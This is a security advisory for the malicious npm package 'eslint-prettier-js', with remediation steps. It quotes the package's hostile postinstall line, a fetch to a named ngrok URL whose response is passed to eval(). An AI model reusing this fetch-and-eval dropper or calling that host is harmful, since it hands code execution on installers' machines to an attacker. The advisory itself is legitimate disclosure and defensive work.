Skip to content
OpenAdvisories
Malicious MAL-2026-15601 GHSA-fp43-fcrg-6w93

eslint-prettier-js

npm package · versions 0.0.1

Reported Aug 31, 2026 · Updated Aug 31, 2026

If this package is installed

Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.

Details

Source: amazon-inspector (657c75af75154da75ac5073b9dcea65c04bdb3f493f3a72d79f1847df90bf449)
The package's postinstall hook runs index.cjs's onInstall(), which performs `await fetch("https://2939e69fc408.ngrok-free.app/stats")` and passes the response body to `eval()`. On `npm install` this executes arbitrary code fetched from a mutable, anonymous ngrok tunnel unrelated to any legitimate publisher, granting full code execution on the installer's machine to whoever controls that endpoint. The package's declared description ("Test eslint and prettier") does not match its shipped behavior — no lint/format code is present; the only runtime effect is the remote-eval dropper.

Source: ghsa-malware (dc148ed2256ce70dc5162c2b971837f0080a5d3dcce6a46be0305661515c5549)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.